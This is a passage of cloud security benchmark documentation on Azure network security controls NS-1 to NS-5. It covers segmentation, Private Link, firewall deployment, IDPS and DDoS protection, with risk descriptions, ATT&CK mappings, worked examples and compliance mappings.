Network Security

Network security protects cloud workloads from threats like unauthorized access, data breaches, and service disruption by controlling traffic at multiple boundaries. Unlike traditional perimeter-focused defenses, modern cloud environments demand defense-in-depth strategies with segmentation, private connectivity, and edge protection to address dynamic attack surfaces including exposed services, lateral movement pathways, and command-and-control channels. Organizations implementing comprehensive network controls maintain secure-by-default environments, while those neglecting these controls face unrestricted lateral movement and prolonged exposure to threats.

Here are the three core pillars of the Network Security security domain.

Secure network boundaries: Enforce strict controls at network edges and between segments through multi-layered defense-in-depth incorporating firewalls, DDoS protection, web application firewalls, and private connectivity, following the principle of least privilege to deny unauthorized traffic by default.

Related controls:

• NS-2: Secure cloud services with network controls
• NS-3: Deploy firewall at the edge of enterprise network
• NS-5: Deploy DDOS protection
• NS-6: Deploy web application firewall
• NS-9: Connect on-premises or cloud network privately

Apply network isolation: Divide networks into isolated segments aligned with enterprise segmentation strategy and risk levels to limit threat spread, reduce attack surface, and prevent unauthorized lateral movement.

Related controls:

• NS-1: Establish network segmentation boundaries

Monitor and respond: Maintain continuous visibility into network activity through comprehensive monitoring, intrusion detection, and protocol security to identify suspicious behavior, policy violations, and active threats rapidly.

Related controls:

• NS-4: Deploy intrusion detection/intrusion prevention systems (IDS/IPS)
• NS-8: Detect and disable insecure services and protocols
• NS-10: Ensure Domain Name System (DNS) security

NS-1: Establish network segmentation boundaries

Azure Policy: See Azure built-in policy definitions: NS-1.

Security principle

Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between cloud resources to reduce blast radius.

Design your network segmentation to ensure that your virtual network deployment aligns with your enterprise segmentation strategy and different risk levels. Common segmentation strategy includes:

• Separate Corpnet with Application networks
• Separate Application networks
• Separate Production and Test Environment networks

Refer to Azure Well-Architected Framework to learn more about key strategies for network segmentation:

• Azure segmentation strategy

Risk to mitigate

Without network segmentation boundaries, organizations face unrestricted lateral movement enabling attackers to traverse network infrastructures and compromise high-value assets.

• Flat network exposure: Absence of segmentation enables unrestricted lateral movement, allowing adversaries to compromise high-value assets by traversing a non-partitioned network topology.
• Privilege escalation pathways: Inadequate boundaries permit unauthorized access vectors, facilitating escalation of user privileges through access to sensitive subnetworks and workloads.
• Malware propagation: Insufficient segmentation allows rapid spread of malicious code such as ransomware across interconnected nodes, amplifying the attack surface and operational impact.
• East-west traffic blindness: Unrestricted inter-segment traffic hampers anomaly detection and incident response, reducing visibility into internal threat movements and complicating forensic analysis.

MITRE ATT&CK

• Initial Access (TA0001): unauthorized access to networks and exposed services (e.g., T1190 - Exploit Public-Facing Application).
• Lateral Movement (TA0008): attack pivoting by VNets and non-restricted inter-subnet traffic (e.g., T1021 - Remote Services).
• Exfiltration (TA0010): data exfiltration by non-restricted outbound traffic for unauthorized data transfers to external servers (e.g., T1041 - Exfiltration Over C2 Channel).
• Command and Control (TA0011): malware propagation by communication with malicious IPs or domains via firewall rules and threat intelligence (e.g., T1071 - Application Layer Protocol).

NS-1.1: Create segmentation using VNet and subnets

Virtual network isolation establishes fundamental security boundaries within cloud environments, enabling organizations to separate workloads by trust level, organizational unit, or application grouping. This approach prevents unrestricted lateral movement and reduces blast radius when breaches occur, aligning network architecture with enterprise segmentation strategies and zero-trust principles.

Implement virtual network segmentation by creating isolated network boundaries and subdivisions:

• Design VNet topology based on segmentation strategy: Create virtual networks aligned with trust zones, organizational units, or application groupings defined in your enterprise segmentation strategy, ensuring each VNet represents a distinct security boundary.

• Isolate high-risk workloads: Identify workloads requiring strict isolation (e.g., production databases, payment processing systems) and deploy them into dedicated, isolated VNets to minimize exposure and prevent cross-contamination.

• Create subnets for granular segmentation: Within each VNet, create distinct non-overlapping subnets to further segment the network based on application tiers (e.g., web tier, application tier, database tier) or functional requirements, enabling more precise traffic control and micro-segmentation.

NS-1.2: Restrict network traffic using NSG

Network security groups enforce traffic filtering at the subnet and network interface level, enabling precise control over communication flows between network segments and external networks. By implementing deny-by-default policies with explicit allow rules, organizations ensure only authorized traffic traverses network boundaries, preventing unauthorized access and reducing attack surface.

Implement network traffic restriction using NSG rules:

• Identify communication requirements: Analyze resources in each VNet to understand their north-south (external) and east-west (internal) traffic communication needs, documenting required ports, protocols, source addresses, and destination addresses for legitimate business functions.

• Define explicit allow and deny rules: For well-defined applications (e.g., three-tier architectures), use the "deny by default, permit by exception" approach to create NSG rules based on port, protocol, source IP address, and destination IP address, explicitly allowing only necessary traffic while denying all other communications.

• Use application security groups for complex scenarios: When many applications and endpoints interact, simplify NSG rule management by using application security groups (ASGs) to group resources logically (e.g., web servers, database servers), then define NSG rules based on these groups rather than explicit IP addresses, improving maintainability and reducing configuration complexity.

• Monitor and optimize with flow logs: Enable virtual network flow logging to monitor traffic allowed or denied by NSG rules, identifying frequently denied traffic that may indicate misconfiguration or frequently allowed traffic that could inform rule optimization and reduce logging noise.

Implementation example

An organization needed to secure a multi-tier application with separate production, development, and testing environments while preventing unauthorized lateral movement and external access.

Challenge: The organization had a three-tier application (web, application, database) with all resources in a single large network segment, allowing unrestricted communication between all tiers and environments. This created significant security risks including potential lateral movement between production and non-production, unrestricted internet access from database servers, and inability to isolate high-risk workloads.

Solution approach:

• VNet segmentation by environment: Created separate virtual networks for production (10.0.0.0/16), development (10.1.0.0/16), and testing (10.2.0.0/16) environments, establishing network isolation boundaries that prevent cross-environment access and limit blast radius of potential breaches.
• Subnet segmentation by tier: Within the production VNet, created distinct non-overlapping subnets for each application tier - web tier (10.0.1.0/24), application tier (10.0.2.0/24), and database tier (10.0.3.0/24) - enabling granular traffic control between tiers.
• NSG rules for north-south traffic control: Configured NSG rules to deny all inbound traffic from internet (0.0.0.0/0) to internal subnets and restrict outbound internet access to only trusted destinations, with specific rules allowing only necessary external connections for web tier while blocking all internet access from database tier.
• NSG rules for east-west traffic control: Implemented deny-by-default policies with explicit allow rules between tiers - web tier allowed outbound to application tier on required ports only, application tier allowed outbound to database tier on port 1433 (SQL) only, and database tier denied all other inbound traffic except from application tier subnet.
• Remote management access: Restricted remote management ports (RDP 3389/TCP, SSH 22/TCP) to accept connections only from trusted bastion host subnet (10.0.0.0/26), eliminating direct internet access to management interfaces.

Outcome: The organization eliminated unrestricted lateral movement between application tiers and environments, significantly reduced attack surface by removing direct internet access from backend systems, and established enforceable network boundaries aligned with zero-trust principles. Flow logs enabled continuous monitoring of allowed and denied traffic for ongoing optimization and security posture validation.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7, SC-32, AC-4, CM-7
• PCI-DSS v4: 1.2.1, 1.3.1, 1.4.1
• CIS Controls v8.1: 12.1, 12.2, 12.6
• NIST CSF v2.0: PR.IR-01, PR.AC-05
• ISO 27001:2022: A.8.20, A.8.21
• SOC 2: CC6.1, CC6.6

NS-2: Secure cloud native services with network controls

Azure Policy: See Azure built-in policy definitions: NS-2.

Security principle

Use service native features to secure network access to the resources to avoid and reduce the exposure of the resources to the untrusted network. These features include:

• Establish private access points for resources to avoid the exposure of network traffic going through the public network.
• Deploy the resource into virtual networks where you can restrict the VNet to establish a private access point for the service.
• Configure service native firewalls to restrict the inbound traffic or disable the public network access.

Note: In addition to the basic network access control and traffic filtering, you should also use threat detection capabilities to monitor services such as DNS (NS-10) to detect the possible data exfiltration.

Risk to mitigate

Threat actors exploit publicly exposed cloud services to conduct data exfiltration, application-layer attacks, and traffic interception.

• Data exfiltration through public endpoints: Attackers exploit publicly accessible storage accounts, databases, or APIs to exfiltrate sensitive data by establishing unauthorized connections to exposed endpoints, bypassing network segmentation controls and enabling large-scale data theft.
• Application-layer attacks against public endpoints: Distributed Denial of Service (DDoS) attacks, SQL injection, and other application exploits target publicly exposed web services, APIs, and databases, overwhelming resources or exploiting vulnerabilities to cause service disruption or data compromise.
• Man-in-the-middle attacks: Attackers intercept traffic flowing over public networks to publicly exposed services, capturing credentials, session tokens, or sensitive data transmitted without adequate encryption or private connectivity, enabling account takeover or data theft.

MITRE ATT&CK

• Initial Access (TA0001): unauthorized access by public internet exposure of cloud services (e.g., cloud storage services, database services), exploit targeting public endpoints (e.g., T1190 - Exploit Public-Facing Application).
• Exfiltration (TA0010): data exfiltration by routing traffic over private virtual network connections, reducing the risk of data leakage to external servers (e.g., T1041 - Exfiltration Over C2 Channel).
• Lateral Movement (TA0008): attacker pivoting services within virtual networks, unauthorized access between cloud resources (e.g., T1021 - Remote Services).

NS-2.1 Use Private Link for service connection

Private connectivity eliminates public internet exposure for cloud services by establishing direct network paths within your virtual infrastructure. Private Link creates private endpoints with dedicated IP addresses inside your virtual networks, ensuring traffic to cloud services never traverses the public internet while maintaining DNS-based access patterns. This approach significantly reduces attack surface and prevents data exfiltration through publicly accessible endpoints.

Implement private connectivity for cloud services through these steps:

• Deploy private endpoints for supported services: Create private endpoints within your virtual network for Azure resources supporting Private Link (e.g., Azure Storage, Azure SQL Database, Azure Key Vault), establishing private IP addresses (e.g., 10.0.2.4) accessible only from your VNet.

• Configure private DNS zones: Create Azure Private DNS zones to override public DNS resolution, ensuring fully qualified domain names (FQDNs) like mystorageaccount1.blob.core.windows.net resolve to private IP addresses within your VNet rather than public endpoints, maintaining seamless connectivity for applications using FQDN-based access.

• Disable public access: Configure service-level settings to disable public network access entirely once private endpoints are deployed, ensuring all traffic flows exclusively through private connectivity without fallback to public endpoints.

Note: Certain Azure services may also allow private communication through the service endpoint feature, though Azure Private Link is recommended for secure and private access to services hosted on Azure platform. For deployments such as web services hosted on Azure VMs, avoid assigning public IPs directly to VMs unless strongly justified; instead, use Azure Application Gateway or Azure Load Balancer as the front-end for service access.

NS-2.2 Deploy service into VNet

Virtual network integration enables cloud services to operate within private network boundaries, establishing direct connectivity to VNet-hosted resources without public internet exposure. By deploying services into virtual networks, organizations gain granular control over network traffic through security groups and route tables while maintaining service isolation from external threats.

Deploy services with VNet integration where supported:

• Deploy services into virtual networks: For services supporting VNet integration (e.g., Azure App Service, Azure Functions, Azure Container Instances), configure deployment into new or existing virtual networks, specifying appropriate subnets aligned with your segmentation strategy and enabling private communication with other VNet resources.

• Configure network security controls: Apply network security group (NSG) rules to the service's subnet to restrict inbound and outbound traffic, implementing least-privilege access by allowing only necessary communication to specific destinations (e.g., database subnets, storage endpoints) while denying all other traffic.

NS-2.3 Configure service native firewall

Service-level firewalls provide defense-in-depth protection by restricting network access at the resource level, complementing network-layer controls with application-specific security boundaries. These native firewall capabilities enable organizations to limit exposure to specific IP ranges or virtual networks while completely disabling public access when appropriate, reducing attack surface without requiring complex network topology changes.

Configure service firewalls to restrict access:

• Enable service firewall features: For services supporting native firewalls (e.g., Azure Storage, Azure SQL Database, Azure Key Vault), enable firewall functionality either during resource creation or on existing resources to control which networks can access the service.

• Define IP-based or VNet-based rules: Configure firewall rules to allow access only from specific public IP ranges (e.g., corporate office networks) or specific Azure virtual network subnets, implementing least-privilege access by denying all other sources.

• Disable public access when possible: When services require access only from private networks, use the toggle option to completely disable public network access, ensuring the service is unreachable from the internet regardless of IP-based rules.

NS-2.4 Use Network Security Perimeter for PaaS resource isolation

Network Security Perimeter establishes a logical network boundary around multiple PaaS resources, enabling secure service-to-service communication within an explicit trusted perimeter while preventing unauthorized data exfiltration. Unlike per-resource controls, Network Security Perimeter provides a unified security boundary allowing intra-perimeter communication without individual access rules while blocking external access by default.

Implement Network Security Perimeter to secure PaaS resources:

• Create and associate resources: Establish a network security perimeter and add supported PaaS resources (Azure Storage, SQL Database, Key Vault, Event Hubs, Cosmos DB) through resource associations, enabling intra-perimeter communication where associated resources can freely communicate.

• Configure access modes and rules: Start with Transition mode to understand access patterns before transitioning to Enforced mode for maximum protection. Define explicit inbound and outbound access rules using IP addresses, subscriptions, or FQDNs to control traffic outside the perimeter while maintaining default-deny posture.

• Enable monitoring and Private Link integration: Configure diagnostic logs to capture access attempts and policy violations. Private endpoint traffic is automatically allowed into the perimeter, complementing VNet-to-PaaS connectivity with perimeter-level data exfiltration controls.

Implementation example

An organization needed to secure backend database and storage resources while enabling access from application services without exposing resources to the public internet.

Challenge: The organization had Azure SQL Database and Azure Storage accounts with default public endpoints, making them accessible from the internet and creating significant data exfiltration risks. Application services were deployed with public IPs and lacked VNet integration, preventing private network-based access controls. Service-level firewalls were not configured, allowing unrestricted access from any source once authentication succeeded.

Solution approach:

• Private Link endpoints for PaaS services: Deployed private endpoints for Azure SQL Database (assigned private IP 10.0.2.4) and Azure Storage account (assigned private IP 10.0.2.5) within a dedicated private endpoint subnet (10.0.2.0/24), establishing private connectivity that routes traffic over the Azure backbone network without internet exposure.
• Private DNS zones for name resolution: Created Azure Private DNS zones to override public DNS resolution, ensuring application FQDNs (e.g., mysqldb.database.windows.net, mystorageaccount.blob.core.windows.net) resolve to private IPs within the VNet rather than public endpoints, maintaining seamless connectivity for applications using FQDN-based access.
• VNet integration for application services: Configured VNet integration for Azure App Service, deploying the application into an application subnet (10.0.1.0/24) to enable direct communication with private endpoints without requiring public IP addresses or internet routing.
• Service native firewalls: Enabled service-level firewalls on Azure Storage to restrict access to specific VNet subnets (application subnet 10.0.1.0/24) and trusted Microsoft services, while completely disabling public network access at the service level for Azure SQL Database to enforce private-only connectivity.
• NSG rules for defense-in-depth: Applied NSG rules to the application subnet allowing outbound traffic only to the private endpoint subnet (10.0.2.0/24) on required ports (443 for Storage, 1433 for SQL), implementing least-privilege access control that complements service-level protections.

Outcome: The organization eliminated public internet exposure for backend resources, significantly reducing data exfiltration risks and attack surface. Private connectivity ensured all traffic between applications and data services remained on the Azure backbone network without traversing the public internet, while layered controls (Private Link, DNS zones, service firewalls, NSGs) provided defense-in-depth protection aligned with zero-trust principles.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7(4), SC-7(5), AC-4(21)
• PCI-DSS v4: 1.3.1, 1.3.2, 1.4.2
• CIS Controls v8.1: 12.4, 12.7
• NIST CSF v2.0: PR.AC-05, PR.DS-05
• ISO 27001:2022: A.8.20, A.8.22
• SOC 2: CC6.1, CC6.6

NS-3: Deploy firewall at the edge of enterprise network

Azure Policy: See Azure built-in policy definitions: NS-3.

Security principle

Use firewall at the network edge to perform advanced filtering on network traffic to and from external networks, such as the internet, and between internal network segments.

At a minimum, firewall policy should include:

• Block known bad IP addresses and sites.
• Restrict high-risk protocols, such as remote management protocols and intranet protocols at edge networks to prevent unauthorized access or lateral movement.
• Enforce application rules to allow only approved external destinations and block unauthorized or risky sites.

Risk to mitigate

Adversaries exploit vulnerabilities exposed to public or untrusted networks through accessible protocols, malicious domains, and weak network controls.

• Unauthorized access via exposed protocols: Publicly accessible protocols like RDP (TCP 3389) or SMB (TCP 445) enable attackers to gain unauthorized entry, compromising system integrity through exploits such as brute-force or CVE-targeted attacks.
• Malware and phishing via malicious domains/IPs: Malicious domains and IPs facilitate malware delivery or phishing campaigns, endangering endpoints and sensitive data through command-and-control or social engineering attacks.
• Data exfiltration through unrestricted outbound traffic: Uncontrolled egress to unapproved destinations allows adversaries to exfiltrate sensitive data, risking breaches and compliance violations via covert channels like HTTPS POSTs.
• Lateral movement due to poor segmentation: Insufficient network segmentation permits attackers to pivot internally, exploiting inter-segment traffic (e.g., SMB, Kerberos) to propagate from compromised systems.
• Vulnerabilities from untrusted applications/URLs: Access to risky or untrusted URLs and applications increases exposure to exploits, elevating incident risks and non-compliance with regulatory standards.

MITRE ATT&CK

• Initial Access (TA0001): unauthorized access to high-risk protocols (e.g., RDP/TCP 3389, SSH/TCP 22) or malicious domains (e.g., T1190 - Exploit Public-Facing Application).
• Command and Control (TA0011): malware connecting to malicious IPs/domains (e.g., T1071 - Application Layer Protocol).
• Exfiltration (TA0010): unauthorized data transfers via outbound traffic to unapproved destinations (e.g., T1041 - Exfiltration Over C2 Channel).
• Lateral Movement (TA0008): inhibits internal pivoting through unfiltered inter-segment traffic (e.g., SMB/TCP 445, Kerberos/TCP 88) (e.g., T1021 - Remote Services).

NS-3.1 Prepare for Azure Firewall Deployment

Azure Firewall deployment requires proper network topology enabling centralized traffic inspection across network boundaries. Hub-and-spoke architectures position the firewall at the network core, routing all spoke traffic through a central inspection point while user-defined routes ensure traffic flow follows intended paths. This preparation establishes the foundation for comprehensive edge protection and inter-segment filtering.

Prepare network infrastructure for Azure Firewall deployment:

• Set up hub/spoke virtual network topology: Deploy Azure Firewall in a hub VNet to centrally manage and secure traffic across multiple spoke VNets hosting application workloads, establishing a single enforcement point for network security policies.

• Join spoke virtual networks: Use VNet peering to connect each spoke VNet to the hub VNet where Azure Firewall is deployed, enabling communication between spokes through the hub while maintaining network isolation.

• Configure user-defined routes (UDRs): Create route tables directing network traffic from spoke VNets through Azure Firewall in the hub network, including routes for internet egress (0.0.0.0/0) and optionally inter-spoke traffic if spoke-to-spoke communication requires inspection.

NS-3.2 Deploy Azure Firewall with appropriate policies

Azure Firewall provides stateful application-layer traffic filtering with centralized policy management across enterprise network segments. By combining network rules, application rules, and threat intelligence, firewalls inspect traffic flows at multiple layers while URL filtering and TLS inspection enable granular control over HTTP/HTTPS communications. Proper policy design balances security requirements with operational needs through structured rule hierarchies and category-based filtering.

Deploy and configure Azure Firewall with comprehensive policies:

• Deploy Azure Firewall in hub VNet: Deploy Azure Firewall (Standard or Premium tier based on features needed) in the hub VNet, assigning both public IP addresses for internet-bound traffic and private IP addresses for internal routing from spoke VNets.

• Create firewall policies with filtering rules: Define Azure Firewall policies containing network rules (IP/port-based filtering), application rules (FQDN-based filtering), and threat intelligence rules, organizing rules into collections based on security requirements (e.g., allow business-critical services, block malicious IPs, deny risky categories).

• Configure URL filtering for HTTP/HTTPS traffic: Implement FQDN-based application rules to allow or deny specific domains (e.g., allow *.microsoft.com, deny *.torrent) and configure category-based filtering to block entire website categories (e.g., Hacking, Social Media) while allowing work-related categories.

• Enable TLS inspection for advanced filtering: For Premium tier deployments, enable TLS inspection by uploading certificates to Azure Key Vault, allowing the firewall to decrypt, inspect, and re-encrypt HTTPS traffic for deeper URL filtering and threat detection beyond SNI-based inspection.

Implementation example

An organization with multiple application workloads across different spoke VNets needed centralized network security inspection for all internet-bound traffic and inter-spoke communications while preventing access to malicious domains and unauthorized website categories.

Challenge: The organization had workloads deployed in separate spoke VNets with direct internet access, creating inconsistent security policies and inability to centrally inspect traffic. Each spoke had its own NSG rules, leading to policy drift and security gaps. There was no visibility into outbound connections to potentially malicious domains, no ability to block risky website categories (social media, file sharing), and no inspection of HTTPS traffic content. Inter-spoke traffic flowed freely without inspection, enabling potential lateral movement after compromise.

Solution approach:

• Hub-and-spoke topology with centralized firewall: Deployed Azure Firewall Premium in a hub VNet (10.0.0.0/16) with dedicated AzureFirewallSubnet (10.0.1.0/26, firewall private IP 10.0.1.4), establishing a single enforcement point for all network traffic inspection and policy management.
• VNet peering for spoke connectivity: Used VNet peering to connect application spoke VNet (10.1.0.0/16) and database spoke VNet (10.2.0.0/16) to the hub VNet, enabling centralized traffic routing through the firewall.
• User-defined routes for traffic steering: Created route tables in each spoke VNet redirecting all internet-bound traffic (0.0.0.0/0) and inter-spoke traffic to the Azure Firewall private IP (10.0.1.4), forcing all egress through the central inspection point.
• Firewall policies with multi-layer filtering: Defined comprehensive Azure Firewall policies including network rules (allow DNS UDP/53 to Azure DNS, deny all other protocols by default), application rules (allow business-critical FQDNs like *.microsoft.com, deny file-sharing domains like *.torrent), and threat intelligence rules (block known malicious IPs from Microsoft Defender threat feeds).
• URL filtering and category-based blocking: Implemented FQDN-based application rules for precise domain control and category-based filtering to block entire website categories (Hacking, Social Media, Gambling) while allowing work-related categories (Business/Economy, Technology/Internet), enforcing acceptable use policies at the network edge.
• TLS inspection for HTTPS traffic: Enabled TLS inspection with certificates stored in Azure Key Vault, allowing the firewall to decrypt, inspect, and re-encrypt HTTPS traffic for deeper URL filtering and threat detection beyond SNI-based inspection, while excluding sensitive banking domains from decryption per compliance requirements.

Outcome: The organization established centralized visibility and control over all internet-bound and inter-spoke traffic, eliminating policy drift and security blind spots. TLS inspection enabled detection of threats hidden in encrypted HTTPS traffic, while category-based filtering substantially reduced exposure to risky web content. The hub-and-spoke architecture provided a scalable, consistent security posture across all workloads with unified policy management and comprehensive threat protection.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7, SC-7(5), AC-4, SI-4(4)
• PCI-DSS v4: 1.2.1, 1.3.1, 1.4.1, 1.4.2
• CIS Controls v8.1: 9.2, 9.3, 13.1
• NIST CSF v2.0: PR.AC-05, PR.PT-04, DE.CM-01
• ISO 27001:2022: A.8.20, A.8.22
• SOC 2: CC6.1, CC6.6, CC7.2

NS-4: Deploy intrusion detection/intrusion prevention systems (IDS/IPS)

Security principle

Use network intrusion detection and intrusion prevention systems (IDS/IPS) to inspect the network and payload traffic to and from your workload or virtual networks. Ensure that IDS/IPS is always tuned to provide high-quality alerts to your SIEM solution.

Note: For more in-depth host level detection and prevention capability, use host-based IDS/IPS or a host-based endpoint detection and response (EDR) solution in conjunction with the network IDS/IPS.

Risk to mitigate

Adversaries exploit vulnerabilities in protocols, applications, and internal traffic to execute malicious activities.

• Protocol exploits: Vulnerabilities in protocols like RDP (TCP 3389) or HTTP/HTTPS (TCP 80/443) enable unauthorized access or system compromise through exploits such as CVE-targeted attacks.
• Command-and-control (C2) communications: Malicious servers establish control over compromised devices via DNS queries or IP-based callbacks, facilitating persistent exploitation or malware propagation.
• Application exploits: Attacks like SQL injection, cross-site scripting (XSS), or buffer overflows target application vulnerabilities to steal data or execute arbitrary code.
• Lateral movement: Anomalous internal traffic, such as SMB (TCP 445) enumeration or Kerberos (TCP 88) ticket abuse, signals attacker pivoting within the network.
• Data exfiltration: Unauthorized data transfers occur over encrypted channels (e.g., HTTPS POSTs) or high-volume egress, using obfuscation to evade detection.

MITRE ATT&CK

• Initial Access (TA0001): unauthorized intrusions via exploits targeting network vulnerabilities (e.g., T1190 - Exploit Public-Facing Application).
• Execution (TA0002): malicious code execution from vulnerability exploits or C2 payloads (e.g., T1059 - Command and Scripting Interpreter).
• Command and Control (TA0011): malware C2 communications by utilizing DNS queries or IP-based callbacks (e.g., T1071 - Application Layer Protocol).
• Lateral Movement (TA0008): anomalous internal traffic (e.g., SMB enumeration) indicative of pivoting (e.g., T1021 - Remote Services).
• Exfiltration (TA0010): unauthorized data transfers over encrypted or obfuscated channels (e.g., T1041 - Exfiltration Over C2 Channel).

NS-4.1 Deploy Azure Firewall Premium for IDPS

Intrusion detection and prevention systems provide signature-based threat identification by matching network traffic patterns against known attack signatures, enabling real-time blocking of exploit attempts and malicious communications. Azure Firewall Premium's IDPS capability offers continuously updated signature libraries covering exploits, malware, command-and-control, and phishing categories while supporting both alert-only and prevention modes. Proper signature selection and tuning ensures high-fidelity detection while minimizing false positives.

Deploy and configure IDPS through Azure Firewall Premium:

• Deploy Azure Firewall Premium: Deploy Azure Firewall Premium with Premium Policy in your hub VNet to enable IDPS capabilities alongside other advanced features like TLS inspection and URL filtering.

• Select IDPS signature rules: Choose IDPS signature rules from the signature library based on threat priorities, starting with high-severity signatures in critical categories like "Malware," "Exploits," and "Phishing" that align with your organization's threat profile and risk tolerance.

• Configure IDPS mode: Set the IDPS mode to Alert mode initially for testing and tuning to observe signature matches without blocking traffic, then transition to Alert and Deny mode for production environments to actively prevent detected threats while maintaining alerting for security monitoring.

• Fine-tune signatures: Adjust individual signature rules based on operational experience, disabling or lowering the priority of signatures generating excessive false positives while ensuring high-priority signatures remain active, optimizing the signal-to-noise ratio for security operations teams.

Implementation example

An organization needed to protect critical infrastructure from known exploits and zero-day attacks while maintaining visibility into threat activity without disrupting legitimate business operations.

Challenge: The organization operated a multi-tier web application processing financial transactions with no signature-based threat detection beyond basic firewall rules. Security teams lacked visibility into exploit attempts targeting application servers, had no capability to detect command-and-control communications, and experienced false positive alerts from generic IDS solutions requiring extensive tuning.

Solution:

• Azure Firewall Premium with IDPS: Deployed Azure Firewall Premium in hub VNet enabling IDPS capabilities alongside TLS inspection and URL filtering, establishing centralized signature-based threat detection for all spoke VNet traffic.

• Signature rule selection: Selected high-severity IDPS signatures from critical categories including Malware (Cobalt Strike, Metasploit, ransomware C2), Exploits (PaperCut CVE-2023-27350, Log4Shell, ProxyShell), Phishing (credential harvesting), and Command-and-Control patterns.

• Alert mode and tuning: Configured IDPS in Alert mode for initial testing to observe signature matches without blocking traffic, analyzing alerts to identify false positives from legitimate DevOps tools and partner API calls, then created signature exceptions for known-good scenarios while keeping high-priority CVE signatures active.

• Prevention mode transition: Transitioned IDPS to Alert and Deny mode for production after validation, actively blocking detected threats including PaperCut exploitation attempts, Log4Shell attacks, and C2 communications.

• Sentinel integration: Configured diagnostic logs to Log Analytics, created Sentinel analytics rules correlating IDPS detections with authentication events, and established automated incident creation for high-severity alerts.

Outcome: Exploitation attempts were successfully blocked preventing remote code execution. Critical vulnerability exploitation was eliminated before compromise occurred. False positive rates decreased substantially while maintaining comprehensive CVE coverage. Security teams achieved rapid alert review and incident response, establishing continuous threat visibility with actionable intelligence for proactive defense.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SI-4, SI-4(4), SI-4(5), SC-7(5)
• PCI-DSS v4: 11.4.1, 11.4.2, 1.4.1
• CIS Controls v8.1: 13.2, 13.6, 13.7
• NIST CSF v2.0: DE.CM-01, DE.CM-04, DE.CM-07
• ISO 27001:2022: A.8.16, A.8.22, A.5.24
• SOC 2: CC6.1, CC7.2

NS-5: Deploy DDOS protection

Azure Policy: See Azure built-in policy definitions: NS-5.

Security principle

Deploy DDoS protection across various tiers to effectively mitigate attacks targeting different services and protocols at both the network and application layers.

Risk to mitigate

Threat actors attack networks, servers, or applications using overwhelming malicious traffic to cause service disruption.

• Volumetric attacks (network flooding): Attackers flood network interfaces with massive traffic volumes (e.g., millions of packets per second) to exhaust bandwidth, router processing capacity, or load balancer resources, causing service unavailability. Examples include UDP floods, ICMP floods, or amplified DNS reflection attacks leveraging protocols like NTP or SSDP.
• Protocol attacks (state exhaustion): Attackers exploit Layer 3/4 protocol vulnerabilities to deplete stateful resources, such as TCP connection tables or firewall session states. Common techniques include TCP SYN floods, which overwhelm servers with half-open connections, or ACK floods targeting stateful devices.
• Resource layer attacks (application overload): Limited Layer 7 attacks, such as HTTP GET/POST floods, target application resources (e.g., CPU, memory, or database connections) to overwhelm web servers or APIs. These attacks aim to exhaust compute resources, causing latency spikes or outages.
• Amplification attacks: Attackers exploit misconfigured servers (e.g., DNS, NTP, or Plex Media servers on UDP 32414) to amplify traffic, sending small queries that generate large responses directed at the target, overwhelming network capacity. Examples include DNS amplification or SSDP reflection attacks.

MITRE ATT&CK

• Impact (TA0040): disrupts service availability through volumetric floods (e.g., UDP/ICMP) or resource overloads (e.g., HTTP floods) to deny access (e.g., T1498 - Network Denial of Service).
• Resource Development (TA0042): leverages compromised systems for amplification attacks (e.g., DNS/NTP reflection) to scale attack impact (e.g., T1584 - Compromise Infrastructure).

NS-5.1 Implement DDOS protection in the appropriate network tier

Deploy DDoS protection at both network and application layers to defend against volumetric and application-specific attacks. Azure provides multiple tiers of protection: DDoS Network Protection for comprehensive VNet coverage with rapid response support, DDoS IP Protection for cost-effective protection of individual IPs, and application layer protection through WAF. Configure monitoring and alerts to validate protection effectiveness and ensure application resilience during attacks:

• Deploy network layer DDoS protection: Choose between DDoS Network Protection for workload deployments requiring comprehensive VNet coverage and rapid response support for attack investigation and post-attack analysis, or DDoS IP Protection for cost-effective protection of a limited number of IPs without rapid response support.

• Deploy application layer DDoS protection: Enable DDoS protection on Azure Web Application Firewall (WAF), Application Gateway, or Azure Front Door to defend against application layer (Layer 7) attacks.

• Configure monitoring and alerts: Configure alerts and monitor metrics and logs from the DDoS protection service and your applications to ensure protection effectiveness, application resilience, and desired performance during and after attacks.

Implementation example

An e-commerce organization needed comprehensive DDoS protection for customer-facing applications experiencing increasing volumetric and application-layer attack attempts during peak shopping seasons.

Challenge: The organization operated a global e-commerce platform with public-facing web applications, APIs, and content delivery infrastructure exposed to the internet. During peak events, the platform experienced multiple DDoS attacks including UDP floods, TCP SYN floods exhausting load balancer connection tables, HTTP floods targeting checkout APIs, and DNS amplification attacks. Without dedicated DDoS protection, these attacks caused service outages, resulting in lost revenue and customer dissatisfaction.

Solution:

• DDoS Network Protection: Enabled Azure DDoS Network Protection on production virtual networks hosting customer-facing applications, providing comprehensive VNet-level protection with adaptive tuning, automatic attack detection at Layers 3 and 4, and real-time mitigation.

• Application layer protection: Deployed Azure Application Gateway with WAF for regional applications and Azure Front Door with WAF for global edge delivery, enabling Layer 7 DDoS protection with rate limiting, HTTP flood detection, and bot protection rules.

• Protection policy configuration: Created DDoS protection plan associating all production VNets, configured adaptive tuning learning baseline traffic patterns, enabled always-on traffic monitoring, and defined protection policies covering UDP floods, TCP SYN floods, ICMP floods, and protocol attacks.

• Monitoring and alerting: Configured DDoS diagnostic logs sending attack telemetry to Log Analytics workspace, created Azure Monitor alerts triggering immediate notifications when attacks detected, established Sentinel workbook correlating DDoS attacks with application performance metrics, and configured Application Insights monitoring application health during mitigation.

• Rapid Response engagement: Activated DDoS Rapid Response providing direct access to DDoS protection experts during active attacks for real-time attack analysis, custom mitigation strategy development, and post-attack forensics.

Outcome: DDoS attacks during peak shopping season were successfully mitigated with zero service disruptions. Volumetric floods, SYN floods, and HTTP floods were automatically blocked, maintaining platform availability. Rapid Response provided expert analysis for sophisticated attacks. Critical shopping periods maintained high uptime with no customer transaction latency during mitigation.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-5, SC-5(1), SC-5(2), SI-4(4)
• PCI-DSS v4: 6.4.2, 11.4.7
• CIS Controls v8.1: 13.3
• NIST CSF v2.0: PR.PT-05, DE.CM-01
• ISO 27001:2022: A.8.13, A.8.24
• SOC 2: CC6.1, CC7.2

NS-6: Deploy web application firewall

Azure Policy: See Azure built-in policy definitions: NS-6.

